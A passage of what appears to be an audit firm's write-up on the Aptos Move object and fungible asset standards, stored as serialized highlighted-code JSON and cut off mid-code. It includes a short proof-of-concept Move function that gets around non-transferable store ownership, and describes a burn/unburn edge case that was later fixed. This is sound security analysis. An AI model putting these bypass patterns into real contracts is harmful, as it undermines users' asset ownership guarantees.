current_address",{"type":23,"tag":504,"props":66622,"children":66623},{"style":5047},[66624],{"type":29,"value":5050},{"type":23,"tag":504,"props":66626,"children":66627},{"style":5041},[66628],{"type":29,"value":64556},{"type":23,"tag":504,"props":66630,"children":66631},{"style":5047},[66632],{"type":29,"value":357},{"type":23,"tag":504,"props":66634,"children":66635},{"style":5058},[66636],{"type":29,"value":66637},"owner;\n",{"type":23,"tag":504,"props":66639,"children":66640},{"class":5016,"line":5649},[66641],{"type":23,"tag":504,"props":66642,"children":66643},{"style":5058},[66644],{"type":29,"value":41053},{"type":23,"tag":504,"props":66646,"children":66647},{"class":5016,"line":5666},[66648],{"type":23,"tag":504,"props":66649,"children":66650},{"style":5058},[66651],{"type":29,"value":5965},{"type":23,"tag":32,"props":66653,"children":66654},{},[66655,66657,66662],{"type":29,"value":66656},"This could allow for bypassing assumptions about ",{"type":23,"tag":154,"props":66658,"children":66660},{"className":66659},[],[66661],{"type":29,"value":64138},{"type":29,"value":66663}," true ownership and its non-transferability.",{"type":23,"tag":4743,"props":66665,"children":66667},{"className":5009,"code":66666,"language":5008,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[66668],{"type":23,"tag":154,"props":66669,"children":66670},{"__ignoreMap":7},[66671,66729,66782,66826,66874,66881,66926,66934],{"type":23,"tag":504,"props":66672,"children":66673},{"class":5016,"line":5017},[66674,66678,66682,66687,66691,66696,66700,66704,66708,66712,66717,66721,66725],{"type":23,"tag":504,"props":66675,"children":66676},{"style":5041},[66677],{"type":29,"value":63737},{"type":23,"tag":504,"props":66679,"children":66680},{"style":5041},[66681],{"type":29,"value":8252},{"type":23,"tag":504,"props":66683,"children":66684},{"style":5139},[66685],{"type":29,"value":66686}," untransferable_transfer",{"type":23,"tag":504,"props":66688,"children":66689},{"style":5058},[66690],{"type":29,"value":603},{"type":23,"tag":504,"props":66692,"children":66693},{"style":5041},[66694],{"type":29,"value":66695},"caller",{"type":23,"tag":504,"props":66697,"children":66698},{"style":5047},[66699],{"type":29,"value":6533},{"type":23,"tag":504,"props":66701,"children":66702},{"style":5047},[66703],{"type":29,"value":9185},{"type":23,"tag":504,"props":66705,"children":66706},{"style":5041},[66707],{"type":29,"value":9190},{"type":23,"tag":504,"props":66709,"children":66710},{"style":5058},[66711],{"type":29,"value":4367},{"type":23,"tag":504,"props":66713,"children":66714},{"style":5041},[66715],{"type":29,"value":66716},"receipient",{"type":23,"tag":504,"props":66718,"children":66719},{"style":5047},[66720],{"type":29,"value":6533},{"type":23,"tag":504,"props":66722,"children":66723},{"style":5041},[66724],{"type":29,"value":8295},{"type":23,"tag":504,"props":66726,"children":66727},{"style":5058},[66728],{"type":29,"value":16850},{"type":23,"tag":504,"props":66730,"children":66731},{"class":5016,"line":4868},[66732,66736,66741,66745,66749,66753,66758,66762,66766,66770,66774,66778],{"type":23,"tag":504,"props":66733,"children":66734},{"style":5030},[66735],{"type":29,"value":5033},{"type":23,"tag":504,"props":66737,"children":66738},{"style":5041},[66739],{"type":29,"value":66740}," constructor_ref",{"type":23,"tag":504,"props":66742,"children":66743},{"style":5047},[66744],{"type":29,"value":5050},{"type":23,"tag":504,"props":66746,"children":66747},{"style":5058},[66748],{"type":29,"value":64556},{"type":23,"tag":504,"props":66750,"children":66751},{"style":5047},[66752],{"type":29,"value":5530},{"type":23,"tag":504,"props":66754,"children":66755},{"style":5139},[66756],{"type":29,"value":66757},"create_object",{"type":23,"tag":504,"props":66759,"children":66760},{"style":5058},[66761],{"type":29,"value":9244},{"type":23,"tag":504,"props":66763,"children":66764},{"style":5047},[66765],{"type":29,"value":5530},{"type":23,"tag":504,"props":66767,"children":66768},{"style":5139},[66769],{"type":29,"value":9253},{"type":23,"tag":504,"props":66771,"children":66772},{"style":5058},[66773],{"type":29,"value":603},{"type":23,"tag":504,"props":66775,"children":66776},{"style":5041},[66777],{"type":29,"value":66695},{"type":23,"tag":504,"props":66779,"children":66780},{"style":5058},[66781],{"type":29,"value":9267},{"type":23,"tag":504,"props":66783,"children":66784},{"class":5016,"line":4876},[66785,66789,66793,66797,66801,66805,66810,66814,66818,66822],{"type":23,"tag":504,"props":66786,"children":66787},{"style":5030},[66788],{"type":29,"value":5033},{"type":23,"tag":504,"props":66790,"children":66791},{"style":5041},[66792],{"type":29,"value":66143},{"type":23,"tag":504,"props":66794,"children":66795},{"style":5047},[66796],{"type":29,"value":5050},{"type":23,"tag":504,"props":66798,"children":66799},{"style":5058},[66800],{"type":29,"value":64556},{"type":23,"tag":504,"props":66802,"children":66803},{"style":5047},[66804],{"type":29,"value":5530},{"type":23,"tag":504,"props":66806,"children":66807},{"style":5139},[66808],{"type":29,"value":66809},"address_from_constructor_ref",{"type":23,"tag":504,"props":66811,"children":66812},{"style":5058},[66813],{"type":29,"value":603},{"type":23,"tag":504,"props":66815,"children":66816},{"style":5047},[66817],{"type":29,"value":5151},{"type":23,"tag":504,"props":66819,"children":66820},{"style":5041},[66821],{"type":29,"value":64990},{"type":23,"tag":504,"props":66823,"children":66824},{"style":5058},[66825],{"type":29,"value":5888},{"type":23,"tag":504,"props":66827,"children":66828},{"class":5016,"line":5099},[66829,66833,66837,66841,66846,66850,66854,66858,66862,66866,66870],{"type":23,"tag":504,"props":66830,"children":66831},{"style":5030},[66832],{"type":29,"value":5033},{"type":23,"tag":504,"props":66834,"children":66835},{"style":5041},[66836],{"type":29,"value":7876},{"type":23,"tag":504,"props":66838,"children":66839},{"style":5047},[66840],{"type":29,"value":5050},{"type":23,"tag":504,"props":66842,"children":66843},{"style":5058},[66844],{"type":29,"value":66845}," primary_fungible_store",{"type":23,"tag":504,"props":66847,"children":66848},{"style":5047},[66849],{"type":29,"value":5530},{"type":23,"tag":504,"props":66851,"children":66852},{"style":5139},[66853],{"type":29,"value":64882},{"type":23,"tag":504,"props":66855,"children":66856},{"style":5058},[66857],{"type":29,"value":603},{"type":23,"tag":504,"props":66859,"children":66860},{"style":5041},[66861],{"type":29,"value":66189},{"type":23,"tag":504,"props":66863,"children":66864},{"style":5058},[66865],{"type":29,"value":4367},{"type":23,"tag":504,"props":66867,"children":66868},{"style":5139},[66869],{"type":29,"value":64838},{"type":23,"tag":504,"props":66871,"children":66872},{"style":5058},[66873],{"type":29,"value":17471},{"type":23,"tag":504,"props":66875,"children":66876},{"class":5016,"line":5203},[66877],{"type":23,"tag":504,"props":66878,"children":66879},{"emptyLinePlaceholder":15},[66880],{"type":29,"value":5734},{"type":23,"tag":504,"props":66882,"children":66883},{"class":5016,"line":5308},[66884,66889,66893,66898,66902,66906,66910,66914,66918,66922],{"type":23,"tag":504,"props":66885,"children":66886},{"style":5058},[66887],{"type":29,"value":66888},"    object",{"type":23,"tag":504,"props":66890,"children":66891},{"style":5047},[66892],{"type":29,"value":5530},{"type":23,"tag":504,"props":66894,"children":66895},{"style":5139},[66896],{"type":29,"value":66897},"transfer_raw",{"type":23,"tag":504,"props":66899,"children":66900},{"style":5058},[66901],{"type":29,"value":603},{"type":23,"tag":504,"props":66903,"children":66904},{"style":5041},[66905],{"type":29,"value":66695},{"type":23,"tag":504,"props":66907,"children":66908},{"style":5058},[66909],{"type":29,"value":4367},{"type":23,"tag":504,"props":66911,"children":66912},{"style":5041},[66913],{"type":29,"value":66189},{"type":23,"tag":504,"props":66915,"children":66916},{"style":5058},[66917],{"type":29,"value":4367},{"type":23,"tag":504,"props":66919,"children":66920},{"style":5041},[66921],{"type":29,"value":66716},{"type":23,"tag":504,"props":66923,"children":66924},{"style":5058},[66925],{"type":29,"value":5888},{"type":23,"tag":504,"props":66927,"children":66928},{"class":5016,"line":5336},[66929],{"type":23,"tag":504,"props":66930,"children":66931},{"style":5021},[66932],{"type":29,"value":66933},"    //receipient can interact with store by using their signer\n",{"type":23,"tag":504,"props":66935,"children":66936},{"class":5016,"line":5349},[66937],{"type":23,"tag":504,"props":66938,"children":66939},{"style":5058},[66940],{"type":29,"value":5965},{"type":23,"tag":32,"props":66942,"children":66943},{},[66944,66946,66953],{"type":29,"value":66945},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":68,"props":66947,"children":66950},{"href":66948,"rel":66949},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[72],[66951],{"type":29,"value":66952},"edge case",{"type":29,"value":66954}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":4743,"props":66956,"children":66958},{"className":5009,"code":66957,"language":5008,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[66959],{"type":23,"tag":154,"props":66960,"children":66961},{"__ignoreMap":7},[66962,67027,67088,67135,67146,67181,67201,67208,67215,67230,67237,67265],{"type":23,"tag":504,"props":66963,"children":66964},{"class":5016,"line":5017},[66965,66969,66973,66978,66982,66986,66990,66995,66999,67003,67007,67011,67015,67019,67023],{"type":23,"tag":504,"props":66966,"children":66967},{"style":5041},[66968],{"type":29,"value":63737},{"type":23,"tag":504,"props":66970,"children":66971},{"style":5041},[66972],{"type":29,"value":8252},{"type":23,"tag":504,"props":66974,"children":66975},{"style":5139},[66976],{"type":29,"value":66977}," transfer_with_ref",{"type":23,"tag":504,"props":66979,"children":66980},{"style":5058},[66981],{"type":29,"value":603},{"type":23,"tag":504,"props":66983,"children":66984},{"style":5030},[66985],{"type":29,"value":65399},{"type":23,"tag":504,"props":66987,"children":66988},{"style":5047},[66989],{"type":29,"value":6533},{"type":23,"tag":504,"props":66991,"children":66992},{"style":5467},[66993],{"type":29,"value":66994}," LinearTransferRef",{"type":23,"tag":504,"props":66996,"children":66997},{"style":5058},[66998],{"type":29,"value":4367},{"type":23,"tag":504,"props":67000,"children":67001},{"style":5041},[67002],{"type":29,"value":34783},{"type":23,"tag":504,"props":67004,"children":67005},{"style":5047},[67006],{"type":29,"value":6533},{"type":23,"tag":504,"props":67008,"children":67009},{"style":5041},[67010],{"type":29,"value":8295},{"type":23,"tag":504,"props":67012,"children":67013},{"style":5058},[67014],{"type":29,"value":5128},{"type":23,"tag":504,"props":67016,"children":67017},{"style":5041},[67018],{"type":29,"value":8389},{"type":23,"tag":504,"props":67020,"children":67021},{"style":5467},[67022],{"type":29,"value":66036},{"type":23,"tag":504,"props":67024,"children":67025},{"style":5058},[67026],{"type":29,"value":5333},{"type":23,"tag":504,"props":67028,"children":67029},{"class":5016,"line":4868},[67030,67034,67038,67042,67046,67050,67055,67059,67063,67067,67071,67075,67079,67083],{"type":23,"tag":504,"props":67031,"children":67032},{"style":5139},[67033],{"type":29,"value":64406},{"type":23,"tag":504,"props":67035,"children":67036},{"style":5058},[67037],{"type":29,"value":603},{"type":23,"tag":504,"props":67039,"children":67040},{"style":5047},[67041],{"type":29,"value":22674},{"type":23,"tag":504,"props":67043,"children":67044},{"style":5041},[67045],{"type":29,"value":8748},{"type":23,"tag":504,"props":67047,"children":67048},{"style":5058},[67049],{"type":29,"value":2658},{"type":23,"tag":504,"props":67051,"children":67052},{"style":5467},[67053],{"type":29,"value":67054},"Untransferable",{"type":23,"tag":504,"props":67056,"children":67057},{"style":5058},[67058],{"type":29,"value":9655},{"type":23,"tag":504,"props":67060,"children":67061},{"style":5030},[67062],{"type":29,"value":65399},{"type":23,"tag":504,"props":67064,"children":67065},{"style":5047},[67066],{"type":29,"value":357},{"type":23,"tag":504,"props":67068,"children":67069},{"style":5030},[67070],{"type":29,"value":15759},{"type":23,"tag":504,"props":67072,"children":67073},{"style":5058},[67074],{"type":29,"value":64995},{"type":23,"tag":504,"props":67076,"children":67077},{"style":5047},[67078],{"type":29,"value":5530},{"type":23,"tag":504,"props":67080,"children":67081},{"style":5139},[67082],{"type":29,"value":65881},{"type":23,"tag":504,"props":67084,"children":67085},{"style":5058},[67086],{"type":29,"value":67087},"(ENOT_MOVABLE));\n",{"type":23,"tag":504,"props":67089,"children":67090},{"class":5016,"line":4876},[67091,67095,67099,67103,67107,67111,67115,67119,67123,67127,67131],{"type":23,"tag":504,"props":67092,"children":67093},{"style":5030},[67094],{"type":29,"value":5033},{"type":23,"tag":504,"props":67096,"children":67097},{"style":5041},[67098],{"type":29,"value":64556},{"type":23,"tag":504,"props":67100,"children":67101},{"style":5047},[67102],{"type":29,"value":5050},{"type":23,"tag":504,"props":67104,"children":67105},{"style":5041},[67106],{"type":29,"value":9641},{"type":23,"tag":504,"props":67108,"children":67109},{"style":5058},[67110],{"type":29,"value":2658},{"type":23,"tag":504,"props":67112,"children":67113},{"style":5467},[67114],{"type":29,"value":66531},{"type":23,"tag":504,"props":67116,"children":67117},{"style":5058},[67118],{"type":29,"value":9655},{"type":23,"tag":504,"props":67120,"children":67121},{"style":5030},[67122],{"type":29,"value":65399},{"type":23,"tag":504,"props":67124,"children":67125},{"style":5047},[67126],{"type":29,"value":357},{"type":23,"tag":504,"props":67128,"children":67129},{"style":5030},[67130],{"type":29,"value":15759},{"type":23,"tag":504,"props":67132,"children":67133},{"style":5058},[67134],{"type":29,"value":5888},{"type":23,"tag":504,"props":67136,"children":67137},{"class":5016,"line":5099},[67138,67142],{"type":23,"tag":504,"props":67139,"children":67140},{"style":5139},[67141],{"type":29,"value":64406},{"type":23,"tag":504,"props":67143,"children":67144},{"style":5058},[67145],{"type":29,"value":5512},{"type":23,"tag":504,"props":67147,"children":67148},{"class":5016,"line":5203},[67149,67154,67158,67163,67167,67172,67176],{"type":23,"tag":504,"props":67150,"children":67151},{"style":5041},[67152],{"type":29,"value":67153},"        object",{"type":23,"tag":504,"props":67155,"children":67156},{"style":5047},[67157],{"type":29,"value":357},{"type":23,"tag":504,"props":67159,"children":67160},{"style":5058},[67161],{"type":29,"value":67162},"owner ",{"type":23,"tag":504,"props":67164,"children":67165},{"style":5047},[67166],{"type":29,"value":1224},{"type":23,"tag":504,"props":67168,"children":67169},{"style":5030},[67170],{"type":29,"value":67171}," ref",{"type":23,"tag":504,"props":67173,"children":67174},{"style":5047},[67175],{"type":29,"value":357},{"type":23,"tag":504,"props":67177,"children":67178},{"style":5058},[67179],{"type":29,"value":67180},"owner,\n",{"type":23,"tag":504,"props":67182,"children":67183},{"class":5016,"line":5308},[67184,67189,67193,67197],{"type":23,"tag":504,"props":67185,"children":67186},{"style":5058},[67187],{"type":29,"value":67188},"        error",{"type":23,"tag":504,"props":67190,"children":67191},{"style":5047},[67192],{"type":29,"value":5530},{"type":23,"tag":504,"props":67194,"children":67195},{"style":5139},[67196],{"type":29,"value":65881},{"type":23,"tag":504,"props":67198,"children":67199},{"style":5058},[67200],{"type":29,"value":66565},{"type":23,"tag":504,"props":67202,"children":67203},{"class":5016,"line":5336},[67204],{"type":23,"tag":504,"props":67205,"children":67206},{"style":5058},[67207],{"type":29,"value":45716},{"type":23,"tag":504,"props":67209,"children":67210},{"class":5016,"line":5349},[67211],{"type":23,"tag":504,"props":67212,"children":67213},{"style":5058},[67214],{"type":29,"value":63848},{"type":23,"tag":504,"props":67216,"children":67217},{"class":5016,"line":5367},[67218,67222,67226],{"type":23,"tag":504,"props":67219,"children":67220},{"style":5058},[67221],{"type":29,"value":64780},{"type":23,"tag":504,"props":67223,"children":67224},{"style":5047},[67225],{"type":29,"value":853},{"type":23,"tag":504,"props":67227,"children":67228},{"style":5058},[67229],{"type":29,"value":13818},{"type":23,"tag":504,"props":67231,"children":67232},{"class":5016,"line":5388},[67233],{"type":23,"tag":504,"props":67234,"children":67235},{"style":5058},[67236],{"type":29,"value":63848},{"type":23,"tag":504,"props":67238,"children":67239},{"class":5016,"line":5397},[67240,67244,67248,67252,67256,67261],{"type":23,"tag":504,"props":67241,"children":67242},{"style":5041},[67243],{"type":29,"value":66888},{"type":23,"tag":504,"props":67245,"children":67246},{"style":5047},[67247],{"type":29,"value":357},{"type":23,"tag":504,"props":67249,"children":67250},{"style":5058},[67251],{"type":29,"value":67162},{"type":23,"tag":504,"props":67253,"children":67254},{"style":5047},[67255],{"type":29,"value":546},{"type":23,"tag":504,"props":67257,"children":67258},{"style":5041},[67259],{"type":29,"value":67260}," to",{"type":23,"tag":504,"props":67262,"children":67263},{"style":5058},[67264],{"type":29,"value":5061},{"type":23,"tag":504,"props":67266,"children":67267},{"class":5016,"line":5649},[67268],{"type":23,"tag":504,"props":67269,"children":67270},{"style":5058},[67271],{"type":29,"value":5965},{"type":23,"tag":32,"props":67273,"children":67274},{},[67275,67277,67282,67284,67289],{"type":29,"value":67276},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":154,"props":67278,"children":67280},{"className":67279},[],[67281],{"type":29,"value":65934},{"type":29,"value":67283},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":154,"props":67285,"children":67287},{"className":67286},[],[67288],{"type":29,"value":9190},{"type":29,"value":67290}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":320,"props":67292,"children":67294},{"id":67293},"references",[67295],{"type":29,"value":67296},"References",{"type":23,"tag":32,"props":67298,"children":67299},{},[67300,67305,67307,67313,67315,67320,67322,67327],{"type":23,"tag":154,"props":67301,"children":67303},{"className":67302},[],[67304],{"type":29,"value":67296},{"type":29,"value":67306}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":154,"props":67308,"children":67310},{"className":67309},[],[67311],{"type":29,"value":67312},"Refs",{"type":29,"value":67314}," are based on the ",{"type":23,"tag":154,"props":67316,"children":67318},{"className":67317},[],[67319],{"type":29,"value":50914},{"type":29,"value":67321}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":154,"props":67323,"children":67325},{"className":67324},[],[67326],{"type":29,"value":50914},{"type":29,"value":67328}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":32,"props":67330,"children":67331},{},[67332,67334,67339,67341,67346,67347,67353,67355,67360,67362,67367],{"type":29,"value":67333},"Let's get back to the ",{"type":23,"tag":154,"props":67335,"children":67337},{"className":67336},[],[67338],{"type":29,"value":64138},{"type":29,"value":67340}," deletion example. Both ",{"type":23,"tag":154,"props":67342,"children":67344},{"className":67343},[],[67345],{"type":29,"value":65423},{"type":29,"value":4478},{"type":23,"tag":154,"props":67348,"children":67350},{"className":67349},[],[67351],{"type":29,"value":67352},"fungible_asset::remove_store",{"type":29,"value":67354}," use the same object-specific ",{"type":23,"tag":154,"props":67356,"children":67358},{"className":67357},[],[67359],{"type":29,"value":65355},{"type":29,"value":67361}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":154,"props":67363,"children":67365},{"className":67364},[],[67366],{"type":29,"value":65355},{"type":29,"value":67368}," for fungible assets.",{"type":23,"tag":4743,"props":67370,"children":67371},{"className":5009,"code":65305,"language":5008,"meta":7,"style":7},[67372],{"type":23,"tag":154,"props":67373,"children":67374},{"__ignoreMap":7},[67375,67382,67421,67428,67435],{"type":23,"tag":504,"props":67376,"children":67377},{"class":5016,"line":5017},[67378],{"type":23,"tag":504,"props":67379,"children":67380},{"style":5021},[67381],{"type":29,"value":65317},{"type":23,"tag":504,"props":67383,"children":67384},{"class":5016,"line":4868},[67385,67389,67393,67397,67401,67405,67409,67413,67417],{"type":23,"tag":504,"props":67386,"children":67387},{"style":5041},[67388],{"type":29,"value":63737},{"type":23,"tag":504,"props":67390,"children":67391},{"style":5041},[67392],{"type":29,"value":8252},{"type":23,"tag":504,"props":67394,"children":67395},{"style":5139},[67396],{"type":29,"value":65333},{"type":23,"tag":504,"props":67398,"children":67399},{"style":5058},[67400],{"type":29,"value":603},{"type":23,"tag":504,"props":67402,"children":67403},{"style":5041},[67404],{"type":29,"value":65342},{"type":23,"tag":504,"props":67406,"children":67407},{"style":5047},[67408],{"type":29,"value":6533},{"type":23,"tag":504,"props":67410,"children":67411},{"style":5047},[67412],{"type":29,"value":9185},{"type":23,"tag":504,"props":67414,"children":67415},{"style":5467},[67416],{"type":29,"value":65355},{"type":23,"tag":504,"props":67418,"children":67419},{"style":5058},[67420],{"type":29,"value":5200},{"type":23,"tag":504,"props":67422,"children":67423},{"class":5016,"line":4876},[67424],{"type":23,"tag":504,"props":67425,"children":67426},{"emptyLinePlaceholder":15},[67427],{"type":29,"value":5734},{"type":23,"tag":504,"props":67429,"children":67430},{"class":5016,"line":5099},[67431],{"type":23,"tag":504,"props":67432,"children":67433},{"style":5021},[67434],{"type":29,"value":65374},{"type":23,"tag":504,"props":67436,"children":67437},{"class":5016,"line":5203},[67438,67442,67446,67450,67454,67458,67462,67466],{"type":23,"tag":504,"props":67439,"children":67440},{"style":5041},[67441],{"type":29,"value":63737},{"type":23,"tag":504,"props":67443,"children":67444},{"style":5041},[67445],{"type":29,"value":8252},{"type":23,"tag":504,"props":67447,"children":67448},{"style":5139},[67449],{"type":29,"value":65390},{"type":23,"tag":504,"props":67451,"children":67452},{"style":5058},[67453],{"type":29,"value":603},{"type":23,"tag":504,"props":67455,"children":67456},{"style":5030},[67457],{"type":29,"value":65399},{"type":23,"tag":504,"props":67459,"children":67460},{"style":5047},[67461],{"type":29,"value":6533},{"type":23,"tag":504,"props":67463,"children":67464},{"style":5467},[67465],{"type":29,"value":65408},{"type":23,"tag":504,"props":67467,"children":67468},{"style":5058},[67469],{"type":29,"value":5200},{"type":23,"tag":32,"props":67471,"children":67472},{},[67473,67475,67480,67482,67488],{"type":29,"value":67474},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":154,"props":67476,"children":67478},{"className":67477},[],[67479],{"type":29,"value":64138},{"type":29,"value":67481}," is toggled using a ",{"type":23,"tag":154,"props":67483,"children":67485},{"className":67484},[],[67486],{"type":29,"value":67487},"TransferRef",{"type":29,"value":67489},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":4743,"props":67491,"children":67493},{"className":5009,"code":67492,"language":5008,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[67494],{"type":23,"tag":154,"props":67495,"children":67496},{"__ignoreMap":7},[67497,67533,67557,67584,67603],{"type":23,"tag":504,"props":67498,"children":67499},{"class":5016,"line":5017},[67500,67504,67508,67513,67517,67521,67525,67529],{"type":23,"tag":504,"props":67501,"children":67502},{"style":5041},[67503],{"type":29,"value":63737},{"type":23,"tag":504,"props":67505,"children":67506},{"style":5041},[67507],{"type":29,"value":8252},{"type":23,"tag":504,"props":67509,"children":67510},{"style":5041},[67511],{"type":29,"value":67512}," set_frozen_flag",{"type":23,"tag":504,"props":67514,"children":67515},{"style":5058},[67516],{"type":29,"value":2658},{"type":23,"tag":504,"props":67518,"children":67519},{"style":5467},[67520],{"type":29,"value":8033},{"type":23,"tag":504,"props":67522,"children":67523},{"style":5047},[67524],{"type":29,"value":6533},{"type":23,"tag":504,"props":67526,"children":67527},{"style":5041},[67528],{"type":29,"value":7977},{"type":23,"tag":504,"props":67530,"children":67531},{"style":5058},[67532],{"type":29,"value":8632},{"type":23,"tag":504,"props":67534,"children":67535},{"class":5016,"line":4868},[67536,67541,67545,67549,67553],{"type":23,"tag":504,"props":67537,"children":67538},{"style":5030},[67539],{"type":29,"value":67540},"    ref",{"type":23,"tag":504,"props":67542,"children":67543},{"style":5047},[67544],{"type":29,"value":6533},{"type":23,"tag":504,"props":67546,"children":67547},{"style":5047},[67548],{"type":29,"value":9185},{"type":23,"tag":504,"props":67550,"children":67551},{"style":5467},[67552],{"type":29,"value":67487},{"type":23,"tag":504,"props":67554,"children":67555},{"style":5058},[67556],{"type":29,"value":5557},{"type":23,"tag":504,"props":67558,"children":67559},{"class":5016,"line":4876},[67560,67564,67568,67572,67576,67580],{"type":23,"tag":504,"props":67561,"children":67562},{"style":5041},[67563],{"type":29,"value":31468},{"type":23,"tag":504,"props":67565,"children":67566},{"style":5047},[67567],{"type":29,"value":6533},{"type":23,"tag":504,"props":67569,"children":67570},{"style":5467},[67571],{"type":29,"value":63623},{"type":23,"tag":504,"props":67573,"children":67574},{"style":5058},[67575],{"type":29,"value":2658},{"type":23,"tag":504,"props":67577,"children":67578},{"style":5467},[67579],{"type":29,"value":8033},{"type":23,"tag":504,"props":67581,"children":67582},{"style":5058},[67583],{"type":29,"value":8183},{"type":23,"tag":504,"props":67585,"children":67586},{"class":5016,"line":5099},[67587,67591,67595,67599],{"type":23,"tag":504,"props":67588,"children":67589},{"style":5041},[67590],{"type":29,"value":63275},{"type":23,"tag":504,"props":67592,"children":67593},{"style":5047},[67594],{"type":29,"value":6533},{"type":23,"tag":504,"props":67596,"children":67597},{"style":5467},[67598],{"type":29,"value":14096},{"type":23,"tag":504,"props":67600,"children":67601},{"style":5058},[67602],{"type":29,"value":5557},{"type":23,"tag":504,"props":67604,"children":67605},{"class":5016,"line":5203},[67606],{"type":23,"tag":504,"props":67607,"children":67608},{"style":5058},[67609],{"type":29,"value":5200},{"type":23,"tag":32,"props":67611,"children":67612},{},[67613,67614,67619,67620,67625],{"type":29,"value":18661},{"type":23,"tag":154,"props":67615,"children":67617},{"className":67616},[],[67618],{"type":29,"value":50914},{"type":29,"value":1698},{"type":23,"tag":154,"props":67621,"children":67623},{"className":67622},[],[67624],{"type":29,"value":67487},{"type":29,"value":67626}," is used to transfer object ownership:",{"type":23,"tag":4743,"props":67628,"children":67630},{"className":5009,"code":67629,"language":5008,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[67631],{"type":23,"tag":154,"props":67632,"children":67633},{"__ignoreMap":7},[67634,67642,67675,67694],{"type":23,"tag":504,"props":67635,"children":67636},{"class":5016,"line":5017},[67637],{"type":23,"tag":504,"props":67638,"children":67639},{"style":5021},[67640],{"type":29,"value":67641},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":23,"tag":504,"props":67643,"children":67644},{"class":5016,"line":4868},[67645,67649,67654,67658,67663,67667,67671],{"type":23,"tag":504,"props":67646,"children":67647},{"style":5030},[67648],{"type":29,"value":11448},{"type":23,"tag":504,"props":67650,"children":67651},{"style":5467},[67652],{"type":29,"value":67653}," TransferRef",{"type":23,"tag":504,"props":67655,"children":67656},{"style":5041},[67657],{"type":29,"value":11457},{"type":23,"tag":504,"props":67659,"children":67660},{"style":5041},[67661],{"type":29,"value":67662}," drop",{"type":23,"tag":504,"props":67664,"children":67665},{"style":5058},[67666],{"type":29,"value":4367},{"type":23,"tag":504,"props":67668,"children":67669},{"style":5041},[67670],{"type":29,"value":7986},{"type":23,"tag":504,"props":67672,"children":67673},{"style":5058},[67674],{"type":29,"value":5333},{"type":23,"tag":504,"props":67676,"children":67677},{"class":5016,"line":4876},[67678,67682,67686,67690],{"type":23,"tag":504,"props":67679,"children":67680},{"style":5030},[67681],{"type":29,"value":22838},{"type":23,"tag":504,"props":67683,"children":67684},{"style":5047},[67685],{"type":29,"value":6533},{"type":23,"tag":504,"props":67687,"children":67688},{"style":5041},[67689],{"type":29,"value":8295},{"type":23,"tag":504,"props":67691,"children":67692},{"style":5058},[67693],{"type":29,"value":5557},{"type":23,"tag":504,"props":67695,"children":67696},{"class":5016,"line":5099},[67697],{"type":23,"tag":504,"props":67698,"children":67699},{"style":5058},[67700],{"type":29,"value":5965},{"type":23,"tag":32,"props":67702,"children":67703},{},[67704,67706,67711],{"type":29,"value":67705},"While the fungible asset's ",{"type":23,"tag":154,"props":67707,"children":67709},{"className":67708},[],[67710],{"type":29,"value":67487},{"type":29,"value":67712}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":4743,"props":67714,"children":67716},{"className":5009,"code":67715,"language":5008,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[67717],{"type":23,"tag":154,"props":67718,"children":67719},{"__ignoreMap":7},[67720,67728,67736,67767,67794],{"type":23,"tag":504,"props":67721,"children":67722},{"class":5016,"line":5017},[67723],{"type":23,"tag":504,"props":67724,"children":67725},{"style":5021},[67726],{"type":29,"value":67727},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":504,"props":67729,"children":67730},{"class":5016,"line":4868},[67731],{"type":23,"tag":504,"props":67732,"children":67733},{"style":5021},[67734],{"type":29,"value":67735},"/// and allow the holder of TransferRef to transfer fungible assets from any 